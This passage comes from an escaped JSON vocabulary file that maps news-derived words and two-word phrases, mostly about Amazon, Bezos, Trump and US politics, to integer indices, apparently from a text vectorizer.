74278,\n  \"corporation fiance\": 74279,\n  \"running catch\": 74280,\n  \"hill instead\": 74281,\n  \"documentary airs\": 74282,\n  \"yesterday overruled\": 74283,\n  \"woman finds\": 74284,\n  \"clinton just\": 74285,\n  \"economic growth\": 74286,\n  \"jonerpnewsfeed mypov\": 74287,\n  \"environmental threats\": 74288,\n  \"department declined\": 74289,\n  \"puerto\": 74290,\n  \"acto countries\": 74291,\n  \"nice things\": 74292,\n  \"traditional vms\": 74293,\n  \"johnson tilda\": 74294,\n  \"criminals directing\": 74295,\n  \"biden decide\": 74296,\n  \"attacked statue\": 74297,\n  \"immigration courts\": 74298,\n  \"senate sanders\": 74299,\n  \"facility noam\": 74300,\n  \"motivated potentially\": 74301,\n  \"satanic cabal\": 74302,\n  \"potentially far\": 74303,\n  \"targets national\": 74304,\n  \"origin pipped\": 74305,\n  \"ascent extended\": 74306,\n  \"lasted quirky\": 74307,\n  \"gump strauss\": 74308,\n  \"related bodies\": 74309,\n  \"salads\": 74310,\n  \"rtx 8000\": 74311,\n  \"bloomberg final\": 74312,\n  \"open tennis\": 74313,\n  \"detectives combing\": 74314,\n  \"season haverty\": 74315,\n  \"pr campaign\": 74316,\n  \"adjective\": 74317,\n  \"actually kinda\": 74318,\n  \"2019 advanced\": 74319,\n  \"tough talk\": 74320,\n  \"bryan robinson\": 74321,\n  \"tax issues\": 74322,\n  \"profit amazon\": 74323,\n  \"service taxes\": 74324,\n  \"crore\": 74325,\n  \"impeach 2045\": 74326,\n  \"responded effectively\": 74327,\n  \"follow industry\": 74328,\n  \"prosciutto\": 74329,\n  \"company created\": 74330,\n  \"diggs\": 74331,\n  \"softening\": 74332,\n  \"company environmental\": 74333,\n  \"tour apps\": 74334,\n  \"recovered\": 74335,\n  \"debit\": 74336,\n  \"lesbian\": 74337,\n  \"high octane\": 74338,\n  \"trading 3x\": 74339,\n  \"allies trump\": 74340,\n  \"ap finance\": 74341,\n  \"doubtful\": 74342,\n  \"potential relationships\": 74343,\n  \"customers order\": 74344,\n  \"used capital\": 74345,\n  \"intelligence expanded\": 74346,\n  \"hub black\": 74347,\n  \"cuomo argue\": 74348,\n  \"circle politicians\": 74349,\n  \"trump opposes\": 74350,\n  \"atalanta\": 74351,\n  \"progressive push\": 74352,\n  \"daisy getty\": 74353,\n  \"warner speaking\": 74354,\n  \"meals marc\": 74355,\n  \"vegetable garden\": 74356,\n  \"evidence consumers\": 74357,\n  \"fast wireless\": 74358,\n  \"wage movement\": 74359,\n  \"stakeholder\": 74360,\n  \"tech education\": 74361,\n  \"spitting\": 74362,\n  \"best impact\": 74363,\n  \"ad snl\": 74364,\n  \"cronyism government\": 74365,\n  \"constant video\": 74366,\n  \"practice believes\": 74367,\n  \"dreambox\": 74368,\n  \"consider dropping\": 74369,\n  \"does potus\": 74370,\n  \"profit targets\": 74371,\n  \"simply doesn\": 74372,\n  \"thousand boxes\": 74373,\n  \"ceremonial face\": 74374,\n  \"lynching victim\": 74375,\n  \"senior research\": 74376,\n  \"think president\": 74377,\n  \"steadman read\": 74378,\n  \"abundance\": 74379,\n  \"fisher investments\": 74380,\n  \"navy sends\": 74381,\n  \"crash housing\": 74382,\n  \"plastics negatively\": 74383,\n  \"price gas\": 74384,\n  \"ooh shiny\": 74385,\n  \"news slavish\": 74386,\n  \"termination point\": 74387,\n  \"saves\": 74388,\n  \"topped earnings\": 74389,\n  \"trump opined\": 74390,\n  \"apprentices\": 74391,\n  \"perturb\": 74392,\n  \"blocked texan\": 74393,\n  \"hits utah\": 74394,\n  \"pot partner\": 74395,\n  \"accusations individually\": 74396,\n  \"internet movie\": 74397,\n  \"personal luxuries\": 74398,\n  \"enemies list\": 74399,\n  \"saul goodman\": 74400,\n  \"avi\": 74401,\n  \"higher number\": 74402,\n  \"traders\": 74403,\n  \"busy making\": 74404,\n  \"york relationship\": 74405,\n  \"company dna\": 74406,\n  \"dialectics\": 74407,\n  \"epitomizes\": 74408,\n  \"urdupoint news\": 74409,\n  \"recruiters\": 74410,\n  \"disaster aid\": 74411,\n  \"thesis requires\": 74412,\n  \"food media\": 74413,\n  \"rage unfortunately\": 74414,\n  \"acosta press\": 74415,\n  \"bryant staff\": 74416,\n  \"147 kyle\": 74417,\n  \"contribute millions\": 74418,\n  \"fundamental\": 74419,\n  \"treachery\": 74420,\n  \"william bradbury\": 74421,\n  \"estate projects\": 74422,\n  \"stark member\": 74423,\n  \"solved people\": 74424,\n  \"previously owned\": 74425,\n  \"slash filmmaker\": 74426,\n  \"aviation administration\": 74427,\n  \"minority opposition\": 74428,\n  \"c_137951892\": 74429,\n  \"antitrust investigations\": 74430,\n  \"terms wiped\": 74431,\n  \"hill interrogations\": 74432,\n  \"false identities\": 74433,\n  \"trump focus\": 74434,\n  \"website biography\": 74435,\n  \"spoof amazon\": 74436,\n  \"openly disdains\": 74437,\n  \"financial watchdog\": 74438,\n  \"earnings left\": 74439,\n  \"administration obama\": 74440,\n  \"exploit public\": 74441,\n  \"weekly publication\": 74442,\n  \"giants colluding\": 74443,\n  \"home internet\": 74444,\n  \"insurance policy\": 74445,\n  \"month recommended\": 74446,\n  \"stroup\": 74447,\n  \"apos apos\": 74448,\n  \"shows\": 74449,\n  \"dreamers\": 74450,\n  \"micro wasn\": 74451,\n  \"usps arguing\": 74452,\n  \"pays people\": 74453,\n  \"hindu chauvinism\": 74454,\n  \"revelation data\": 74455,\n  \"paragon\": 74456,\n  \"heavier guess\": 74457,\n  \"certain people\": 74458,\n  \"post keeps\": 74459,\n  \"chickens raised\": 74460,\n  \"example public\": 74461,\n  \"montpelier\": 74462,\n  \"house council\": 74463,\n  \"bullmarkets\": 74464,\n  \"dale\": 74465,\n  \"word boosting\": 74466,\n  \"owning hotels\": 74467,\n  \"sanchez centre\": 74468,\n  \"amazon warren\": 74469,\n  \"holmes director\": 74470,\n  \"pepper spray\": 74471,\n  \"makeover price\": 74472,\n  \"manufacturing threatens\": 74473,\n  \"theoretically act\": 74474,\n  \"story google\": 74475,\n  \"gb\": 74476,\n  \"internationally\": 74477,\n  \"haley announced\": 74478,\n  \"week launched\": 74479,\n  \"bold edgy\": 74480,\n  \"legal experts\": 74481,\n  \"constituted violation\": 74482,\n  \"oil trade\": 74483,\n  \"recurring topic\": 74484,\n  \"scheme used\": 74485,\n  \"contracts govern\": 74486,\n  \"adopted maxine\": 74487,\n  \"news association\": 74488,\n  \"bony spurs\": 74489,\n  \"apps increased\": 74490,\n  \"media 2017\": 74491,\n  \"workers skipping\": 74492,\n  \"essentials mama\": 74493,\n  \"scrutiny according\": 74494,\n  \"judge answered\": 74495,\n  \"british journal\": 74496,\n  \"recently closed\": 74497,\n  \"facebook coverage\": 74498,\n  \"indian ecommerce\": 74499,\n  \"holier\": 74500,\n  \"scheming\": 74501,\n  \"regularly scheduled\": 74502,\n  \"work sununu\": 74503,\n  \"gta workforce\": 74504,\n  \"nutrients\": 74505,\n  \"survivor despite\": 74506,\n  \"diverse places\": 74507,\n  \"government makes\": 74508,\n  \"harrowing answers\": 74509,\n  \"industry payments\": 74510,\n  \"statement reforms\": 74511,\n  \"denigrating\": 74512,\n  \"watch dave\": 74513,\n  \"kavanaugh celebration\": 74514,\n  \"people \\u0430and\": 74515,\n  \"scholar justice\": 74516,\n  \"long investigation\": 74517,\n  \"dynamic insets\": 74518,\n  \"little fires\": 74519,\n  \"stephanie ruhle\": 74520,\n  \"bezos gavin\": 74521,\n  \"exonerate trump\": 74522,\n  \"negative source\": 74523,\n  \"retrospective video\": 74524,\n  \"ami publish\": 74525,\n  \"rare\": 74526,\n  \"mitchell told\": 74527,\n  \"texas manhunt\": 74528,\n  \"nfl fans\": 74529,\n  \"investigators sanchez\": 74530,\n  \"solving memory\": 74531,\n  \"pentagon brain\": 74532,\n  \"educated life\": 74533,\n  \"daniel lippman\": 74534,\n  \"island railroad\": 74535,\n  \"cherry picked\": 74536,\n  \"comments subscribe\": 74537,\n  \"overrides videocollection\": 74538,\n  \"mattel\": 74539,\n  \"falling consumer\": 74540,\n  \"sourcing alternate\": 74541,\n  \"kristi funk\": 74542,\n  \"bee amazon\": 74543,\n  \"abridged version\": 74544,\n  \"ubhi left\": 74545,\n  \"elizabeth dwoskin\": 74546,\n  \"piedmont triad\": 74547,\n  \"squarespace\": 74548,\n  \"surprising given\": 74549,\n  \"alexa engineer\": 74550,\n  \"mile 246\": 74551,\n  \"reforms trump\": 74552,\n  \"yeats\": 74553,\n  \"enquirer publisher\": 74554,\n  \"trying month\": 74555,\n  \"train people\": 74556,\n  \"2017 craig\": 74557,\n  \"congress refuses\": 74558,\n  \"citing regulatory\": 74559,\n  \"uber driver\": 74560,\n  \"businesses taking\": 74561,\n  \"rice subsequently\": 74562,\n  \"fix crumbling\": 74563,\n  \"wing politicians\": 74564,\n  \"postrecession\": 74565,\n  \"nance\": 74566,\n  \"lewis slipped\": 74567,\n  \"government using\": 74568,\n  \"minecraft series\": 74569,\n  \"2018 asc\": 74570,\n  \"copper canyon\": 74571,\n  \"reporter email\": 74572,\n  \"spice spice\": 74573,\n  \"suggest potential\": 74574,\n  \"fictional drama\": 74575,\n  \"lampert soap\": 74576,\n  \"giving unelected\": 74577,\n  \"author second\": 74578,\n  \"play toy\": 74579,\n  \"company office\": 74580,\n  \"talking cities\": 74581,\n  \"parsimonious\": 74582,\n  \"barbs including\": 74583,\n  \"large trade\": 74584,\n  \"myth development\": 74585,\n  \"company\": 74586,\n  \"background investigation\": 74587,\n  \"pursued surge\": 74588,\n  \"free prior\": 74589,\n  \"455 shares\": 74590,\n  \"projections wisconsin\": 74591,\n  \"online activity\": 74592,\n  \"positions vacant\": 74593,\n  \"consumers boycott\": 74594,\n  \"movie producers\": 74595,\n  \"marketplace necessitate\": 74596,\n  \"228515 228504\": 74597,\n  \"age presumably\": 74598,\n  \"create new\": 74599,\n  \"ian600f amazon\": 74600,\n  \"trump menswear\": 74601,\n  \"bad choices\": 74602,\n  \"praised supreme\": 74603,\n  \"pugh\": 74604,\n  \"tao says\": 74605,\n  \"microsoft privacy\": 74606,\n  \"monza sp1\": 74607,\n  \"ionospheric drug\": 74608,\n  \"strong amazon\": 74609,\n  \"different paint\": 74610,\n  \"depress company\": 74611,\n  \"seaport\": 74612,\n  \"really terrible\": 74613,\n  \"delivery landscape\": 74614,\n  \"service accusing\": 74615,\n  \"produce value\": 74616,\n  \"guild mortgage\": 74617,\n  \"wagyu wants\": 74618,\n  \"dad super\": 74619,\n  \"memories\": 74620,\n  \"lauding\": 74621,\n  \"contaminated air\": 74622,\n  \"house federal\": 74623,\n  \"trump apparent\": 74624,\n  \"share makes\": 74625,\n  \"day snow\": 74626,\n  \"court sent\": 74627,\n  \"story united\": 74628,\n  \"earning season\": 74629,\n  \"sinclair owned\": 74630,\n  \"humanization effort\": 74631,\n  \"moore gibson\": 74632,\n  \"grocery market\": 74633,\n  \"christine murray\": 74634,\n  \"2000 bartiromo\": 74635,\n  \"breaks snuck\": 74636,\n  \"selfie according\": 74637,\n  \"values alphabet\": 74638,\n  \"impel bezos\": 74639,\n  \"dream jurassic\": 74640,\n  \"corporate filing\": 74641,\n  \"total cumulative\": 74642,\n  \"rich miller\": 74643,\n  \"department change\": 74644,\n  \"854 billion\": 74645,\n  \"idina says\": 74646,\n  \"sink 38m\": 74647,\n  \"markets vox\": 74648,\n  \"human review\": 74649,\n  \"scosche\": 74650,\n  \"natural jeff\": 74651,\n  \"pattinson\": 74652,\n  \"flask\": 74653,\n  \"wi fi\": 74654,\n  \"york mayor\": 74655,\n  \"amazon successful\": 74656,\n  \"emergency says\": 74657,\n  \"cereals\": 74658,\n  \"corporate villain\": 74659,\n  \"regimes amazon\": 74660,\n  \"k4e\": 74661,\n  \"fraser\": 74662,\n  \"movie studios\": 74663,\n  \"unlikely suspect\": 74664,\n  \"awards based\": 74665,\n  \"salacious material\": 74666,\n  \"100418 small\": 74667,\n  \"tech specifically\": 74668,\n  \"planet named\": 74669,\n  \"change brazilian\": 74670,\n  \"origin finally\": 74671,\n  \"mother anne\": 74672,\n  \"initially higher\": 74673,\n  \"nuclear threat\": 74674,\n  \"story banks\": 74675,\n  \"anxious interior\": 74676,\n  \"mark especially\": 74677,\n  \"make feel\": 74678,\n  \"television cbc\": 74679,\n  \"srclarge\": 74680,\n  \"photo link\": 74681,\n  \"michael calderone\": 74682,\n  \"welfare proving\": 74683,\n  \"happy trump\": 74684,\n  \"stage interview\": 74685,\n  \"motorcycle gangs\": 74686,\n  \"1000 metres\": 74687,\n  \"opioid addicts\": 74688,\n  \"paraphrasing\": 74689,\n  \"war esque\": 74690,\n  \"modernize\": 74691,\n  \"entrepreneursto enter\": 74692,\n  \"facebook president\": 74693,\n  \"does including\": 74694,\n  \"gallery albany\": 74695,\n  \"abc new\": 74696,\n  \"editorials google\": 74697,\n  \"politico sources\": 74698,\n  \"miranda president\": 74699,\n  \"vests\": 74700,\n  \"loudmouthed\": 74701,\n  \"diseases 2019\": 74702,\n  \"potentially seismic\": 74703,\n  \"toni reid\": 74704,\n  \"expanding federally\": 74705,\n  \"checkmate newsday\": 74706,\n  \"street seattle\": 74707,\n  \"effort geeks\": 74708,\n  \"apart million\": 74709,\n  \"sunshine scrutiny\": 74710,\n  \"silence potentially\": 74711,\n  \"government activity\": 74712,\n  \"deadly\": 74713,\n  \"radical drug\": 74714,\n  \"bolduan sorry\": 74715,\n  \"american technological\": 74716,\n  \"era biggest\": 74717,\n  \"cool merchandise\": 74718,\n  \"france president\": 74719,\n  \"amazons interests\": 74720,\n  \"los derechos\": 74721,\n  \"consult reported\": 74722,\n  \"tweeted baseless\": 74723,\n  \"immigration claiming\": 74724,\n  \"actions involving\": 74725,\n  \"informal forum\": 74726,\n  \"possible prelude\": 74727,\n  \"consultancy acuity\": 74728,\n  \"gaines harper\": 74729,\n  \"inmate\": 74730,\n  \"jennifer wexton\": 74731,\n  \"current_video_collection\": 74732,\n  \"virus\": 74733,\n  \"aki soga\": 74734,\n  \"incoherent dance\": 74735,\n  \"ted leonsis\": 74736,\n  \"mexican border\": 74737,\n  \"questioned lauren\": 74738,\n  \"bezos eventually\": 74739,\n  \"play favorites\": 74740,\n  \"work griffeth\": 74741,\n  \"foundation\": 74742,\n  \"experts fear\": 74743,\n  \"broadband growth\": 74744,\n  \"deal nyt\": 74745,\n  \"employees growth\": 74746,\n  \"ipo looks\": 74747,\n  \"charitable efforts\": 74748,\n  \"union targeting\": 74749,\n  \"establish headquartershere\": 74750,\n  \"rate thriller\": 74751,\n  \"created scandal\": 74752,\n  \"retailers uneasy\": 74753,\n  \"occurred related\": 74754,\n  \"britons telephone\": 74755,\n  \"incredible growth\": 74756,\n  \"geekwire health\": 74757,\n  \"desist orders\": 74758,\n  \"scarce\": 74759,\n  \"sindhuja\": 74760,\n  \"clifford levy\": 74761,\n  \"state led\": 74762,\n  \"pillpack visionary\": 74763,\n  \"products averaged\": 74764,\n  \"torres aims\": 74765,\n  \"impugning\": 74766,\n  \"esrx mckesson\": 74767,\n  \"simply investing\": 74768,\n  \"counterfeit variations\": 74769,\n  \"835\": 74770,\n  \"completely offsetting\": 74771,\n  \"investment advisors\": 74772,\n  \"entities trump\": 74773,\n  \"future prospects\": 74774,\n  \"court recognizes\": 74775,\n  \"marriage split\": 74776,\n  \"\\u01612017\": 74777,\n  \"lavrentiy\": 74778,\n  \"stacey jimenez\": 74779,\n  \"trump screams\": 74780,\n  \"time highs\": 74781,\n  \"babes galore\": 74782,\n  \"1958\": 74783,\n  \"accolade\": 74784,\n  \"grocery rules\": 74785,\n  \"lincoln time\": 74786,\n  \"howard shultz\": 74787,\n  \"earliest brain\": 74788,\n  \"grassroots effort\": 74789,\n  \"black person\": 74790,\n  \"concerns raised\": 74791,\n  \"country illegally\": 74792,\n  \"turned helicopter\": 74793,\n  \"major booster\": 74794,\n  \"democratic adoration\": 74795,\n  \"tim simons\": 74796,\n  \"gun australian\": 74797,\n  \"latestnews newstoday\": 74798,\n  \"blank prompt\": 74799,\n  \"statement regarding\": 74800,\n  \"skapos\": 74801,\n  \"stoking tensions\": 74802,\n  \"republican pacs\": 74803,\n  \"investigation did\": 74804,\n  \"mechanics\": 74805,\n  \"056\": 74806,\n  \"playing american\": 74807,\n  \"french government\": 74808,\n  \"house departures\": 74809,\n  \"decree chuck\": 74810,\n  \"key member\": 74811,\n  \"amazon lust\": 74812,\n  \"deals involving\": 74813,\n  \"opec\": 74814,\n  \"sinegal\": 74815,\n  \"usps contracts\": 74816,\n  \"ripples amazon\": 74817,\n  \"refuted criticisms\": 74818,\n  \"committee colorado\": 74819,\n  \"separating amazon\": 74820,\n  \"join 100\": 74821,\n  \"schwarzenegger\": 74822,\n  \"john adams\": 74823,\n  \"creating terrorism\": 74824,\n  \"agency decisions\": 74825,\n  \"particularly good\": 74826,\n  \"burglary charge\": 74827,\n  \"time right\": 74828,\n  \"liz claman\": 74829,\n  \"irreparably\": 74830,\n  \"retiring number\": 74831,\n  \"world fun\": 74832,\n  \"isbn numbers\": 74833,\n  \"sales fell\": 74834,\n  \"running beefs\": 74835,\n  \"bladder\": 74836,\n  \"sourcefacebook perfumania\": 74837,\n  \"forcing new\": 74838,\n  \"faragher ellerth\": 74839,\n  \"digits\": 74840,\n  \"tempo\": 74841,\n  \"computer geek\": 74842,\n  \"manipulate workers\": 74843,\n  \"hedgehog\": 74844,\n  \"obvious raines\": 74845,\n  \"policies cashless\": 74846,\n  \"special characteristics\": 74847,\n  \"angeles times\": 74848,\n  \"oils spent\": 74849,\n  \"lavalin trump\": 74850,\n  \"gaslight cafe\": 74851,\n  \"2018 tweets\": 74852,\n  \"post euro\": 74853,\n  \"retirement spend\": 74854,\n  \"avoided police\": 74855,\n  \"latest crash\": 74856,\n  \"walnut\": 74857,\n  \"cutthroat office\": 74858,\n  \"amazon drew\": 74859,\n  \"2f2018 freq\": 74860,\n  \"profit picture\": 74861,\n  \"make big\": 74862,\n  \"great disney\": 74863,\n  \"fair brown\": 74864,\n  \"exist sign\": 74865,\n  \"immediate suspect\": 74866,\n  \"kirio iot\": 74867,\n  \"french gripped\": 74868,\n  \"chipmakers fell\": 74869,\n  \"helming onewest\": 74870,\n  \"continued financial\": 74871,\n  \"amazon sick\": 74872,\n  \"6_1107\": 74873,\n  \"hill glob\": 74874,\n  \"later soliciting\": 74875,\n  \"fiercely opposing\": 74876,\n  \"trump unhappy\": 74877,\n  \"stancy\": 74878,\n  \"records google\": 74879,\n  \"iscertainly\": 74880,\n  \"715\": 74881,\n  \"christian channels\": 74882,\n  \"service receive\": 74883,\n  \"future growth\": 74884,\n  \"profound understanding\": 74885,\n  \"enable consumers\": 74886,\n  \"simply argue\": 74887,\n  \"focused indigenous\": 74888,\n  \"guilty regarding\": 74889,\n  \"welcomed development\": 74890,\n  \"llc bought\": 74891,\n  \"person appointed\": 74892,\n  \"hammacher\": 74893,\n  \"relatively new\": 74894,\n  \"lago longtime\": 74895,\n  \"cellmate pete\": 74896,\n  \"platform meant\": 74897,\n  \"aluminium\": 74898,\n  \"esquire just\": 74899,\n  \"action plan\": 74900,\n  \"facebook google\": 74901,\n  \"highlighting physical\": 74902,\n  \"studio slayings\": 74903,\n  \"periods\": 74904,\n  \"delivery segment\": 74905,\n  \"kam mumtaz\": 74906,\n  \"carrier\": 74907,\n  \"postal infrastructure\": 74908,\n  \"right elevating\": 74909,\n  \"kingdoms\": 74910,\n  \"billionaire investor\": 74911,\n  \"shown complete\": 74912,\n  \"explained researchers\": 74913,\n  \"manhattan district\": 74914,\n  \"bringing projected\": 74915,\n  \"including representative\": 74916,\n  \"figures included\": 74917,\n  \"wholesale club\": 74918,\n  \"mass unit\": 74919,\n  \"investment banker\": 74920,\n  \"progressive policies\": 74921,\n  \"world conception\": 74922,\n  \"agency rep\": 74923,\n  \"adults ages\": 74924,\n  \"relationship page\": 74925,\n  \"brilliant tv\": 74926,\n  \"rick rycroft\": 74927,\n  \"mister president\": 74928,\n  \"applewhite ap\": 74929,\n  \"vinden\": 74930,\n  \"ike leggett\": 74931,\n  \"lozano\": 74932,\n  \"story hit\": 74933,\n  \"highflier\": 74934,\n  \"runnings\": 74935,\n  \"lilia owens\": 74936,\n  \"wears blindfold\": 74937,\n  \"meltdown home\": 74938,\n  \"prnewswire prweb\": 74939,\n  \"states million\": 74940,\n  \"metapack key\": 74941,\n  \"investors bought\": 74942,\n  \"jefferies analysts\": 74943,\n  \"bezos raised\": 74944,\n  \"corporate taxation\": 74945,\n  \"including 500\": 74946,\n  \"free time\": 74947,\n  \"investigation public\": 74948,\n  \"eyebrow raising\": 74949,\n  \"2016 border\": 74950,\n  \"leaked training\": 74951,\n  \"implement paris\": 74952,\n  \"consumers khan\": 74953,\n  \"marvel badass\": 74954,\n  \"hacking related\": 74955,\n  \"hostile advocacy\": 74956,\n  \"freetime amazon\": 74957,\n  \"cut amazon\": 74958,\n  \"control kindle\": 74959,\n  \"things right\": 74960,\n  \"share held\": 74961,\n  \"kosher\": 74962,\n  \"amtrak passengers\": 74963,\n  \"local hospital\": 74964,\n  \"judiciary committees\": 74965,\n  \"yelp news\": 74966,\n  \"news hit\": 74967,\n  \"promote anti\": 74968,\n  \"yoqpgcixof\": 74969,\n  \"intra party\": 74970,\n  \"mail forever\": 74971,\n  \"sandboxes san\": 74972,\n  \"autocrat user\": 74973,\n  \"explosive public\": 74974,\n  \"brett biggs\": 74975,\n  \"partially\": 74976,\n  \"2019 overall\": 74977,\n  \"marking\": 74978,\n  \"lenders business\": 74979,\n  \"poison products\": 74980,\n  \"wonderful kind\": 74981,\n  \"compatible tablet\": 74982,\n  \"elena kagan\": 74983,\n  \"stole\": 74984,\n  \"ami attorney\": 74985,\n  \"samin\": 74986,\n  \"amazon greene\": 74987,\n  \"inciting conflict\": 74988,\n  \"kee\": 74989,\n  \"107 u0\": 74990,\n  \"giant earlier\": 74991,\n  \"receive stories\": 74992,\n  \"fool board\": 74993,\n  \"eventual price\": 74994,\n  \"overall shoddy\": 74995,\n  \"manage\": 74996,\n  \"company chris\": 74997,\n  \"thew\": 74998,\n  \"items available\": 74999,\n  \"department called\": 75000,\n  \"fires california\": 75001,\n  \"younger audience\": 75002,\n  \"company attention\": 75003,\n  \"criminals buy\": 75004,\n  \"cancer research\": 75005,\n  \"family members\": 75006,\n  \"romance biography\": 75007,\n  \"spectacles\": 75008,\n  \"trump upbeat\": 75009,\n  \"rights uscpr\": 75010,\n  \"make large\": 75011,\n  \"pulling ridiculous\": 75012,\n  \"kabc radio\": 75013,\n  \"inflation rates\": 75014,\n  \"trade dispute\": 75015,\n  \"massive digital\": 75016,\n  \"inf\": 75017,\n  \"encouraging shoppers\": 75018,\n  \"joyfully\": 75019,\n  \"fortune dropped\": 75020,\n  \"report predicts\": 75021,\n  \"criticism 2018\": 75022,\n  \"160bn\": 75023,\n  \"wikileaks spirit\": 75024,\n  \"craft better\": 75025,\n  \"ayaz\": 75026,\n  \"hearing vallone\": 75027,\n  \"slanderous\": 75028,\n  \"combined writes\": 75029,\n  \"dodd frank\": 75030,\n  \"alfiky npr\": 75031,\n  \"qanon devotees\": 75032,\n  \"bob hackett\": 75033,\n  \"chippiest stocks\": 75034,\n  \"reserve spot\": 75035,\n  \"digital marketplace\": 75036,\n  \"committee democrats\": 75037,\n  \"desantis mediabuzz\": 75038,\n  \"year final\": 75039,\n  \"delivered using\": 75040,\n  \"requirements state\": 75041,\n  \"winky wonky\": 75042,\n  \"google need\": 75043,\n  \"state remember\": 75044,\n  \"law professor\": 75045,\n  \"hq2 presence\": 75046,\n  \"lockers particularly\": 75047,\n  \"speculations\": 75048,\n  \"cnbc key\": 75049,\n  \"different eyeballs\": 75050,\n  \"socialised\": 75051,\n  \"indian fiction\": 75052,\n  \"hase ap\": 75053,\n  \"misdirection\": 75054,\n  \"america geographic\": 75055,\n  \"kunath airs\": 75056,\n  \"tuition textbooks\": 75057,\n  \"border deployments\": 75058,\n  \"ami later\": 75059,\n  \"dakota law\": 75060,\n  \"big canadian\": 75061,\n  \"demand increases\": 75062,\n  \"organization currently\": 75063,\n  \"asia closed\": 75064,\n  \"assassinated comrades\": 75065,\n  \"wrote people\": 75066,\n  \"trump tax\": 75067,\n  \"watch comedy\": 75068,\n  \"dalai\": 75069,\n  \"plymouth\": 75070,\n  \"treatment counseling\": 75071,\n  \"hit boiling\": 75072,\n  \"announced shortly\": 75073,\n  \"bezos rocket\": 75074,\n  \"brennan linsley\": 75075,\n  \"directv\": 75076,\n  \"meets adam\": 75077,\n  \"cries jake\": 75078,\n  \"inchoate adolescent\": 75079,\n  \"starwave\": 75080,\n  \"follow china\": 75081,\n  \"children migrate\": 75082,\n  \"adoption\": 75083,\n  \"information adding\": 75084,\n  \"daily tipsheet\": 75085,\n  \"gcc\": 75086,\n  \"facts leonid\": 75087,\n  \"klobuchar cory\": 75088,\n  \"safety paul\": 75089,\n  \"government rules\": 75090,\n  \"current washington\": 75091,\n  \"pancake lover\": 75092,\n  \"computer software\": 75093,\n  \"emmanuel suffers\": 75094,\n  \"mark blinch\": 75095,\n  \"officials seriously\": 75096,\n  \"rusty\": 75097,\n  \"colbert quipped\": 75098,\n  \"jersey pine\": 75099,\n  \"admission remains\": 75100,\n  \"mcmahon\": 75101,\n  \"amazon entered\": 75102,\n  \"mount pleasant\": 75103,\n  \"doesn celebrate\": 75104,\n  \"267018\": 75105,\n  \"spotted evan\": 75106,\n  \"journalists trailed\": 75107,\n  \"border officers\": 75108,\n  \"sock company\": 75109,\n  \"messages stoked\": 75110,\n  \"consumer services\": 75111,\n  \"richmond times\": 75112,\n  \"fireplace\": 75113,\n  \"boiling level\": 75114,\n  \"951 975\": 75115,\n  \"just heard\": 75116,\n  \"upkeep\": 75117,\n  \"amazon obeying\": 75118,\n  \"1973 watergate\": 75119,\n  \"believes bezos\": 75120,\n  \"equity strategy\": 75121,\n  \"probably does\": 75122,\n  \"group latest\": 75123,\n  \"stated rural\": 75124,\n  \"gmb\": 75125,\n  \"group sponsored\": 75126,\n  \"trigger significant\": 75127,\n  \"told reuters\": 75128,\n  \"settle scores\": 75129,\n  \"weather minutes\": 75130,\n  \"abc congress\": 75131,\n  \"arlington amazon\": 75132,\n  \"pf_rd_t\": 75133,\n  \"clothing baby\": 75134,\n  \"purchase orders\": 75135,\n  \"company ceo\": 75136,\n  \"statement expressing\": 75137,\n  \"helped ted\": 75138,\n  \"development particularly\": 75139,\n  \"told face\": 75140,\n  \"commingling\": 75141,\n  \"policymaking 101\": 75142,\n  \"guidelines failed\": 75143,\n  \"desiree\": 75144,\n  \"worth 777\": 75145,\n  \"briefly linked\": 75146,\n  \"viii\": 75147,\n  \"getting relegated\": 75148,\n  \"reduce regulatory\": 75149,\n  \"fact just\": 75150,\n  \"huebner\": 75151,\n  \"senate plan\": 75152,\n  \"significantly higher\": 75153,\n  \"indigenous cultures\": 75154,\n  \"pentagon says\": 75155,\n  \"economic war\": 75156,\n  \"billion earnings\": 75157,\n  \"yesterday\": 75158,\n  \"false server719394\": 75159,\n  \"subtexts\": 75160,\n  \"challenging marker\": 75161,\n  \"term survivability\": 75162,\n  \"chart 2_5\": 75163,\n  \"tailored offerings\": 75164,\n  \"fake winemakers\": 75165,\n  \"100 members\": 75166,\n  \"tough comparisons\": 75167,\n  \"situations\": 75168,\n  \"savino amazon\": 75169,\n  \"sites apple\": 75170,\n  \"dollar signs\": 75171,\n  \"reportedly reviewing\": 75172,\n  \"opportunity reports\": 75173,\n  \"city neighborhood\": 75174,\n  \"owner private\": 75175,\n  \"women think\": 75176,\n  \"profit making\": 75177,\n  \"vote blocks\": 75178,\n  \"security agency\": 75179,\n  \"mccabe florida\": 75180,\n  \"world including\": 75181,\n  \"sent 145\": 75182,\n  \"ab inbev\": 75183,\n  \"comments fox\": 75184,\n  \"cliff sims\": 75185,\n  \"group lawg\": 75186,\n  \"trevor little\": 75187,\n  \"inquiry technically\": 75188,\n  \"martinez president\": 75189,\n  \"avalon\": 75190,\n  \"fewer\": 75191,\n  \"holm ext\": 75192,\n  \"city transformation\": 75193,\n  \"welcomed usps\": 75194,\n  \"work authorization\": 75195,\n  \"growth decelerate\": 75196,\n  \"energy\": 75197,\n  \"jason pray\": 75198,\n  \"crisis debate\": 75199,\n  \"caracas venezuela\": 75200,\n  \"sagrado\": 75201,\n  \"endicia offered\": 75202,\n  \"manner\": 75203,\n  \"king checkmate\": 75204,\n  \"moody standard\": 75205,\n  \"cash stores\": 75206,\n  \"bully pulpit\": 75207,\n  \"advertising growth\": 75208,\n  \"fda latest\": 75209,\n  \"2f19 2f2018\": 75210,\n  \"connected neighborhood\": 75211,\n  \"slideshows videos\": 75212,\n  \"chair nita\": 75213,\n  \"better reporting\": 75214,\n  \"things amazon\": 75215,\n  \"135 billion\": 75216,\n  \"beltway criticized\": 75217,\n  \"hamlin\": 75218,\n  \"block dorsey\": 75219,\n  \"black cargo\": 75220,\n  \"individuals eager\": 75221,\n  \"security clearances\": 75222,\n  \"wsj net\": 75223,\n  \"writer vf\": 75224,\n  \"fact pay\": 75225,\n  \"private criticisms\": 75226,\n  \"directly confronted\": 75227,\n  \"tax\": 75228,\n  \"slow pace\": 75229,\n  \"read readers\": 75230,\n  \"toilet abc\": 75231,\n  \"recruit talented\": 75232,\n  \"unstoppable pressure\": 75233,\n  \"mortar companies\": 75234,\n  \"muellerism mccarthyism\": 75235,\n  \"overshadows\": 75236,\n  \"anniversary\": 75237,\n  \"best entrepreneurial\": 75238,\n  \"paulette\": 75239,\n  \"investigation financial\": 75240,\n  \"wong\": 75241,\n  \"post bastion\": 75242,\n  \"comey check\": 75243,\n  \"resume testing\": 75244,\n  \"evelyn sanguinetti\": 75245,\n  \"consultant john\": 75246,\n  \"investor believes\": 